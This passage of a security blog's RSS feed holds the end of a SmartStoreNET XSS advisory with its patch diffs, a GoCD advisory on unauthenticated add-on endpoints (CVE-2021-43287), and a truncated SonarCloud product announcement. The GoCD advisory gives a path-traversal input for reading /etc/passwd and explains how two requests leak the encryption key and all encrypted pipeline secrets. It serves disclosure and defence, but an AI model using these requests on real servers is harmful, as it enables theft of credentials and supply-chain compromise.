}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As demonstrated at the end of the video, this grants attackers arbitrary code execution with the privileges of the user running IIS. &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SmartStoreNET mitigated the two vulnerabilities by introducing a new round of sanitization at the very end of the processing chain. It is performed by the third-party library &lt;a href=&quot;https://github.com/mganss/HtmlSanitizer/&quot;&gt;mganss/HtmlSanitizer&lt;/a&gt;. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;CVE-2021-32607: the &lt;code&gt;Message&lt;/code&gt; attribute of private messages is now sanitized (&lt;a href=&quot;https://github.com/smartstore/SmartStoreNET/commit/5b4e60ae7124df0898975cb8f994f9f23db1fae3&quot;&gt;3db1fae3&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
@@ -1,5 +1,6 @@
@model PrivateMessageModel
@using SmartStore.Web.Models.PrivateMessages;
+@using SmartStore.Core.Html;
@{
    Layout = &quot;_Layout&quot;;
    Html.AddTitleParts(T(&quot;PageTitle.ViewPM&quot;).Text);
@@ -28,7 +29,7 @@
            &lt;div class=&quot;col-sm-9&quot;&gt;
                &lt;div class=&quot;card&quot;&gt;
                    &lt;div class=&quot;card-body&quot; dir=&quot;auto&quot;&gt;
-                        @Html.Raw(Model.Message)
+                        @Html.Raw(HtmlUtils.SanitizeHtml(Model.Message, true))
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;CVE-2021-32608: the &lt;code&gt;FormattedText&lt;/code&gt; attribute of forum posts is now sanitized (&lt;a href=&quot;https://github.com/smartstore/SmartStoreNET/commit/ae03d45e23734555a2aef0b0c3d33c21e076c20f&quot;&gt;e076c20f&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
@@ -1,4 +1,6 @@
@using SmartStore.Web.Models.Boards;
+@using SmartStore.Core.Html;
+
@model ForumPostModel
@Html.Raw(&quot;&lt;a name=\&quot;{0}\&quot;&gt;&lt;/a&gt;&quot;.FormatInvariant(Model.Id))
[...]
            &lt;div class=&quot;post-body&quot;&gt;
                &lt;div class=&quot;posttext&quot; dir=&quot;auto&quot;&gt;
-                    @Html.Raw(Model.FormattedText)
+                    @Html.Raw(HtmlUtils.SanitizeHtml(Model.FormattedText))
                &lt;/div&gt;
                @Html.Hidden(&quot;Id&quot;, Model.Id)
            &lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is interesting to note that the dangerous sanitize-then-transform pattern is still used. We were not able to identify other features that would be vulnerable, but future changes could easily re-introduce similar bugs.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-11&lt;/td&gt;&lt;td&gt;We report both bugs to the vendor.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-12&lt;/td&gt;&lt;td&gt;The vendor confirms the bugs, and releases patches on GitHub.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-21&lt;/td&gt;&lt;td&gt;The vendor states that they do not plan to release a new version that would include fixes for our findings for now.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we described two Cross-Site Scripting bugs in SmartStoreNET 4.1.1 and how they could be turned into the execution of arbitrary code if an administrative user is targeted. We also explained how to exploit such bugs without user interaction by using code already loaded in the application. Finally, we described the mitigations implemented by the maintainers and their limitations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the SmartStoreNET maintainers for their cooperation and very quick fixes. Since the vendor told us there is no planned release, we strongly advise administrators to build it from the source to benefit from the latest security fixes.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mybb-remote-code-execution-chain&quot;&gt;MyBB Remote Code Execution Chain &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD]]></title><description><![CDATA[We recently discovered critical security issues in the popular CI/CD solution GoCD that can be exploited by unauthenticated attackers]]></description><link>https://www.sonarsource.com/blog/gocd-pre-auth-pipeline-takeover</link><guid isPermaLink="false">4afbdaf7-2215-5a39-a4f4-1dc6a557b3be</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Wed, 27 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GoCD, written in Java, is a popular CI/CD solution with a large range of users from NGOs to Fortune 500 companies with billions of dollars in revenue. Naturally, this makes it a critical piece of infrastructure and an extremely attractive target for attackers. In order to automate build and release processes, a centralized CI/CD solution has access to various production environments and private source code repositories. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With so much trust and responsibility placed in CI/CD solutions, a compromise of any part of the software delivery pipeline would be detrimental to a company running GoCD. An attacker in control of any component within a release pipeline could leak intellectual property or include backdoors in software that the company distributes to the public or uses internally. As an example, think about the &lt;a href=&quot;https://blog.qualys.com/vulnerabilities-threat-research/2021/01/04/technical-deep-dive-into-solarwinds-breach&quot;&gt;SolarWinds hack&lt;/a&gt;, where attackers gained access to the software delivery pipeline and added a backdoor to critical software, leading to one of the most impactful supply-chain attacks thus far.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we detail a vulnerability that lets unauthenticated attackers leak highly sensitive information from a vulnerable GoCD Server instance, including all encrypted secrets stored on the server (CVE-2021-43287). Furthermore, the vulnerability can be used to impersonate a GoCD Agent, i.e. GoCD worker, and take over software delivery pipelines. We will also discuss how this vulnerability could be used to take over a GoCD server and execute arbitrary code on it. The vulnerability has been detected in GoCD’s Java code with SonarSource’s taint analysis.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?branch=release-vulnerable2&amp;id=SonarSourceResearch_gocd&amp;open=AXydEiM_1tRJe0-g5GyX&amp;resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&quot;&gt;&lt;strong&gt;Open vulnerability on SonarCloud&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered and disclosed multiple vulnerabilities to the GoCD Security Team. The vulnerability discussed in this blog post is related to broken authentication and allows an unauthenticated attacker to view highly sensitive information and read arbitrary files on a GoCD server instance. We will discuss how attackers might abuse this vulnerability to gain access to authenticated attack surface. In a follow-up blog post, we are going to detail how attackers can abuse authenticated attack surfaces to gain RCE impact on a GoCD Server instance by exploiting other vulnerabilities we discovered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We rate the vulnerability presented in this blog post as &lt;strong&gt;highly critical&lt;/strong&gt;, since an unauthenticated attacker can extract all tokens and secrets used in all build pipelines. For instance, attackers could leak API keys to external services such as Docker Hub and GitHub, steal private source code, get access to production environments, and overwrite files that are being produced as part of the build processes, leading to supply-chain attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All GoCD instances within the version range &lt;a href=&quot;https://www.gocd.org/releases/#20-6-0&quot;&gt;v20.6.0&lt;/a&gt; - &lt;a href=&quot;https://www.gocd.org/releases/#21-2-0&quot;&gt;v21.2.0&lt;/a&gt; are affected, i.e. all GoCD instances that include commits &lt;a href=&quot;https://github.com/gocd/gocd/commit/291d3d3485da818cd9067e487850c8153c6ba1e7&quot;&gt;291d3d3485da818cd9067e487850c8153c6ba1e7&lt;/a&gt; and  &lt;a href=&quot;https://github.com/gocd/gocd/commit/dd13d401f4b8cad1e7ef3846a86f11f6d2a2f9f2&quot;&gt;dd13d401f4b8cad1e7ef3846a86f11f6d2a2f9f2&lt;/a&gt;. The vulnerability was fixed in version &lt;a href=&quot;https://www.gocd.org/releases/#21-3-0&quot;&gt;v21.3.0&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities require no prior knowledge of a targeted GoCD server instance. They work on default configurations and can be triggered even if authentication mechanisms are deployed for a GoCD server instance. For this reason, we highly recommend applying the available patches as quickly as possible. Although it is best practice to host CI/CD instances on an internal network, we observed hundreds of instances exposed to the internet.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our exploit video demonstrates how a GoCD instance can be easily breached remotely:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/gsMctL3Eo3U&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we go into the technical details of the vulnerability. We first provide a bit of background information on how GoCD works on a high level and then break down the root cause of the vulnerability. We then examine strategies that could be used by attackers for compromising the GoCD Server with the acquired information in the first step.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Background - GoCD Server and Agent Architecture&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Typically, a company would manage its source code in a version control system, such as git. Whenever code changes or a release is being made, the GoCD server is aware of it and automatically runs one or more build and release pipelines associated with the source repository. A pipeline in GoCD is simply a collection of tasks that need to be run in a certain order. A high-level example of a pipeline could be:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Compile the source code&lt;/li&gt;&lt;li&gt;Run unit and integration tests&lt;/li&gt;&lt;li&gt;Build a Docker image and push it to the company’s registry&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to delegate these workloads, the GoCD Server assigns the pipeline run to one or more GoCD Agents. An Agent in the GoCD ecosystem is simply a worker that pings the server regularly and checks if any work is assigned to it. If there is, the GoCD Server replies with the information the Agent requires: commands to run and environment variables to apply. Typically those environment variables are going to include secrets and access tokens for services the pipeline needs to access.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The GoCD Agents are authenticated to the GoCD server via an access token that the server assigns to them. By default, when a new agent is launched, it contacts the GoCD Server and registers to it. It is then up to an administrator to enable the Agent so that it becomes active and is part of the workload rotation.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Broken Authentication in Business Continuity Add-On&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GoCD utilizes the popular Spring framework and relies on the FilterChainProxy to ensure correct authentication for various endpoints. The following code snippet shows how different filters are added to the filter chain, along with the URLs that they are registered for:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 25   @Component(&quot;authenticationFilterChain&quot;)
 26   public class AuthenticationFilterChain extends FilterChainProxy {
 27 
 28      @Autowired
 29      public AuthenticationFilterChain(
 30         @Qualifier(&quot;agentAuthenticationFilter&quot;) Filter x509AuthenticationFilter,
 31         // ...
 32         @Qualifier(&quot;accessTokenAuthenticationFilter&quot;) Filter accessTokenAuthenticationFilter,
 33         @Qualifier(&quot;assumeAnonymousUserFilter&quot;) Filter assumeAnonymousUserFilter) {
 34         super(FilterChainBuilder.newInstance()
 35            // X509 for agent remoting
 36            .addFilterChain(&quot;/remoting/**&quot;, x509AuthenticationFilter)
 37 
 38            // For addons
 39            .addFilterChain(&quot;/add-on/**&quot;, assumeAnonymousUserFilter)
 40 
 41            // ... more filters omitted&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;server/src/main/java/com/thoughtworks/go/server/newsecurity/filterchains/AuthenticationFilterChain.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an HTTP request is made to a GoCD server, the Spring framework maps the request URL to a list of filters responsible for this request before passing execution to a controller. The code snippet above shows how all request paths that begin with &lt;code&gt;/add-on/&lt;/code&gt; are filtered with the &lt;code&gt;assumeAnonymousFilter&lt;/code&gt; in line 39. As the name suggests, this filter does not actually perform authentication and lets any request through. This means endpoints exposed by addons are responsible for ensuring correct authentication and permissions themselves, as any unauthenticated attacker could access them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A quick investigation showed that this behavior had not always been the case; commit &lt;a href=&quot;https://github.com/gocd/gocd/commit/291d3d3485da818cd9067e487850c8153c6ba1e7&quot;&gt;291d3d3485da818cd9067e487850c8153c6ba1e7&lt;/a&gt; changed it. Prior to this commit, these endpoints were accessible to authenticated users only. We realized that this breaking change could lead to add-ons being vulnerable to unauthenticated attacks, as the developers of add-ons might not be aware of this transfer of responsibility.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We decided to scan some of the most popular add-ons with SonarCloud and discovered an arbitrary File Read vulnerability in the &lt;a href=&quot;https://extensions-docs.gocd.org/business-continuity/current/&quot;&gt;Business Continuity&lt;/a&gt; add-on for GoCD. This add-on is installed and enabled by default since version &lt;a href=&quot;https://www.gocd.org/releases/#20-6-0&quot;&gt;v20.6.0&lt;/a&gt;. The vulnerable code is shown in the next code snippet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;119   @RequestMapping(value = &quot;/plugin&quot;, method = RequestMethod.GET)
120   public void getPluginFile(
121            @RequestParam(&quot;folderName&quot;) String folderName,
122            @RequestParam(&quot;pluginName&quot;) String pluginName,
123         HttpServletResponse response) {
124      String pluginFolderPath = isBlank(folderName) || folderName.equalsIgnoreCase(&quot;bundled&quot;) ? systemEnvironment.getBundledPluginAbsolutePath() : systemEnvironment.get
    ExternalPluginAbsolutePath();
125      File pluginFile = new File(pluginFolderPath, pluginName);
126      serveFile(pluginFile, response, &quot;application/octet-stream&quot;);
127   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;server/src/main/java/com/thoughtworks/go/addon/businesscontinuity/primary/controller/PrimaryStatusProviderController.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The pluginName parameter, which can be controlled by an attacker, is passed into the constructor of a new File object. This file is then read and served to the user making the request. By setting the &lt;code&gt;pluginName&lt;/code&gt; parameter to, for example, &lt;code&gt;/../../../../../../../../etc/passwd,&lt;/code&gt; it is possible to read the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file of a GoCD server. The injection of unsanitized user input into a sensitive API, such as a file opener, can be automatically detected with our taint analysis technology in SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?branch=release-vulnerable2&amp;id=SonarSourceResearch_gocd&amp;open=AXydEiM_1tRJe0-g5GyX&amp;resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&quot;&gt;&lt;strong&gt;Open vulnerability on SonarCloud&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There were two more endpoints exposed that leak extremely sensitive information. They are shown below:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 92   @RequestMapping(value = &quot;/cruise_config&quot;, method = RequestMethod.GET)
 93   public void getLatestCruiseConfigXML(HttpServletResponse response) {
 94         serveFile(ConfigFileType.CRUISE_CONFIG_XML.load(systemEnvironment), respon
    se, &quot;text/xml&quot;);
 95   }
...
102   @RequestMapping(value = &quot;/cipher.aes&quot;, method = RequestMethod.GET)
103   public void getLatestAESCipher(HttpServletResponse response) {
104      serveFile(ConfigFileType.AES_CIPHER.load(systemEnvironment), response, &quot;te
    xt/plain&quot;);
105   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;server/src/main/java/com/thoughtworks/go/addon/businesscontinuity/primary/controller/PrimaryStatusProviderController.java&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first, &lt;code&gt;/cipher.aes&lt;/code&gt;, leaks an encryption key that is used to encrypt sensitive secrets, such as access tokens. The second, &lt;code&gt;/cruise_config&lt;/code&gt;, leaks the main configuration file of a GoCD server. This XML config file contains all environment variables for all pipelines. Some of the environment variables are encrypted and contain secrets, but can be decrypted with the leaked AES cipher. This config also contains other sensitive data which we will discuss in the next section.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To summarize this vulnerability, an attacker can extract all secrets that are available to a GoCD server with two requests: one for stealing the encryption key and one for obtaining all the encrypted secrets. The attacker can also read arbitrary files on the GoCD server and can thus read git credentials, the main database file (Hibernate is used by default,) and other sensitive files.&lt;/p&gt;&lt;h3&gt;The GoCD Secrets&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous section, we discussed how attackers can abuse the missing authentication on endpoints belonging to the Business Continuity Add-On to leak highly sensitive information. This section discusses the secrets that could be leaked and how attackers might abuse them to attack the GoCD server. This is done by obtaining a valid session, either as an administrator or as an Agent. In a follow-up blog post, we will detail how we found vulnerabilities in the authenticated attack surface and how we managed to get an RCE chain working.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s first look at some configuration options in the main configuration file of a GoCD server. The following snippets show examples of configurations that are included by default:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;server 
    agentAutoRegisterKey=&quot;xxx-xxx-xxx-xxx-xxx-xxx&quot; 
    webhookSecret=&quot;xxx-xxx-xxx-xxx-xxx-xxx&quot; 
    tokenGenerationKey=&quot;xxx-xxx-xxx-xxx-xxx-xxx&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;cruise_config.xml&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;agentAutoRegisterKey&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This secret can be used to register new GoCD workers, or GoCD Agents as they are called in the GoCD ecosystem, without requiring the approval of an administrator. This means an attacker can register multiple malicious Agents into the worker rotation and hijack build pipelines. It also means that they gain access to an authenticated attack surface reachable from a GoCD Agent.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;tokenGenerationKey&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://pulsesecurity.co.nz/advisories/GOCD-Multiple-Vulnerabilities&quot;&gt;Previous work by Pulse Security&lt;/a&gt; has shown how this token could be used to impersonate GoCD Agents that are already in the worker rotation and approved by administrators.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;webhookSecret&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The webhook secret is used to authenticate webhook requests coming from GitHub, GitLab, or BitBucket. Knowledge of this secret could be abused to trigger pipeline runs. It also opens up more, previously unreachable attack surfaces.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Authentication configuration&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, GoCD is shipped with two authentication plugins: Password and LDAP-based authentication. The following sections demonstrate how a password file-based authentication might be configured:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;authConfig id=&quot;file&quot; pluginId=&quot;cd.go.authentication.passwordfile&quot;&gt;
    &lt;property&gt;
        &lt;key&gt;PasswordFilePath&lt;/key&gt;
        &lt;value&gt;/opt/godata/password.txt&lt;/value&gt;
    &lt;/property&gt;
&lt;/authConfig&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;cruise_config.xml&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The snippet above shows how the GoCD server is configured to read passwords from the &lt;code&gt;/opt/godata/password.txt&lt;/code&gt; file. This file follows the &lt;em&gt;htpasswd&lt;/em&gt; file format of having a username and hashed password. According to the &lt;a href=&quot;https://github.com/gocd/gocd-filebased-authentication-plugin#generating-passwords-using-htpasswd&quot;&gt;plugin’s documentation&lt;/a&gt;, the password hashes are either stored in SHA1, Bcrypt, or PBKFD2 format.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alternatively, GoCD also supports LDAP authentication by default. In a worst-case scenario, an attacker could get access to the company’s LDAP by leaking the LDAP password from the server.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The GoCD Security Team responded very quickly. Patches for both vulnerabilities were released only two days after reporting them and are included in version &lt;a href=&quot;https://www.gocd.org/releases/#21-3-0&quot;&gt;v21.3.0&lt;/a&gt;. The vulnerability was addressed by removing the Business Continuity add-on from the core altogether.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Due to the severity of this issue, we recommend patching these vulnerabilities as soon as possible. If no update can be run immediately, we recommend setting up firewall rules to prevent any HTTP requests to the &lt;code&gt;/add-on/**&lt;/code&gt; and/or &lt;code&gt;/add-on/business-continuity/**&lt;/code&gt; endpoints.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-16&lt;/td&gt;&lt;td&gt;We report the exposed add-on endpoints to GoCD on HackerOne&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-18&lt;/td&gt;&lt;td&gt;We report other findings to GoCD on HackerOne&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-18&lt;/td&gt;&lt;td&gt;GoCD confirms all issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-18&lt;/td&gt;&lt;td&gt;GoCD pushes patches for the exposed add-on endpoints and for other issues to GoCD’s GitHub repository&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-22&lt;/td&gt;&lt;td&gt;GoCD gives a heads-up about an important Security Fix coming up on their public Google Forum&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-24&lt;/td&gt;&lt;td&gt;GoCD sends us the experimental installer for release v21.3.0&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;We verify the new version is secured against these vulnerabilities&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;According to GoCD, a warning is sent out to the GoCD mailing list&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-26&lt;/td&gt;&lt;td&gt;GoCD releases version v21.3.0&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we broke down a vulnerability that enables attackers to view highly sensitive information from a GoCD server, without any authentication. This vulnerability occurs due to a breaking change related to authentication in add-ons that was introduced one year ago. We highly recommend all users running GoCD to upgrade to the latest version immediately!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the GoCD Security Team who have been exceptionally responsive in the disclosure process. They reacted very quickly and worked with us on patching the vulnerability efficiently.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will follow up with a second blog post in which we will describe a Cross-Site Scripting vulnerability on the agent attack surface and two additional findings leading to remote code execution. Stay tuned!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce&quot;&gt;Bitbucket 6.1.1 Path Traversal to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mybb-remote-code-execution-chain&quot;&gt;MyBB Remote Code Execution Chain&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Meet the new project experience for SonarCloud]]></title><description><![CDATA[We are very pleased to announce that we have released a new project experience. It’s now available in SonarCloud for all users. You’ll notice a few improvements the next time you open SonarCloud.]]></description><link>https://www.sonarsource.com/blog/meet-the-new-project-experience</link><guid isPermaLink="false">d3a642b6-52fe-50d3-a7c1-fb6ffdd370a6</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Thu, 21 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are very pleased to announce that we have released a new project experience. It’s now available in SonarCloud for all users. You’ll notice a few improvements the next time you open SonarCloud. We’re going to tell you more about what this makeover is about in this article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may be wondering &lt;em&gt;What is the overall Code Quality and Code Security of my project? What progress are we making as a team? What had an impact on the code lately? What do I have to do next?&lt;/em&gt; With that in mind, we have been hard at work to revamp the whole project experience. We’re bringing more clarity, more simplicity, and more efficiency to you and your development team. We want you to be able to assess your project health quickly, know what to do from there, and be empowered to take effective action. Who said writing clean code had to be difficult?&lt;/p&gt;&lt;h2&gt;Get your project to the next level!&lt;/h2&gt;&lt;p&gt;Here is what this new experience is all about: dealing efficiently with potential issues, merging clean code to your repository, and seeing the quality and security of your code get better every day. We believe the new project experience will help you do just that and reduce time to success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a nutshell, here are the highlights of the new experience:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A central page for your project, called ‘Overview’, where you will be able to check all the vital signs of your project&lt;/li&gt;&lt;li&gt;Quality Gate status of the main branch with the list of failed conditions so you can easily understand what needs to be fixed before release&lt;/li&gt;&lt;li&gt;Clear indicators and interactive graphs to help track your progress&lt;/li&gt;&lt;li&gt;Latest activity on pull requests &lt;/li&gt;&lt;li&gt;A new menu, allowing you to navigate your projects easily and investigate branches and pull requests&lt;/li&gt;&lt;li&gt;A focus on new code, because this is where you’ll have the most impact following the &lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code&quot;&gt;Clean as you Code&lt;/a&gt;™ principles&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Cleaner interface, built for efficiency&lt;/h2&gt;&lt;p&gt;We have a mission to help developers &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;write clean code&lt;/a&gt;. We want to achieve it with panache and make you feel good using our products. Our product designers invested a lot of time over the last several months, trying to create an interface that&amp;#x27;s easier to use and that helps you be more productive. By providing an interface with significantly better navigation and information visualization, we believe they&amp;#x27;ve succeeded. For instance, the quality gate which is crucial information when trying to reply to the question ‘&lt;em&gt;Can the 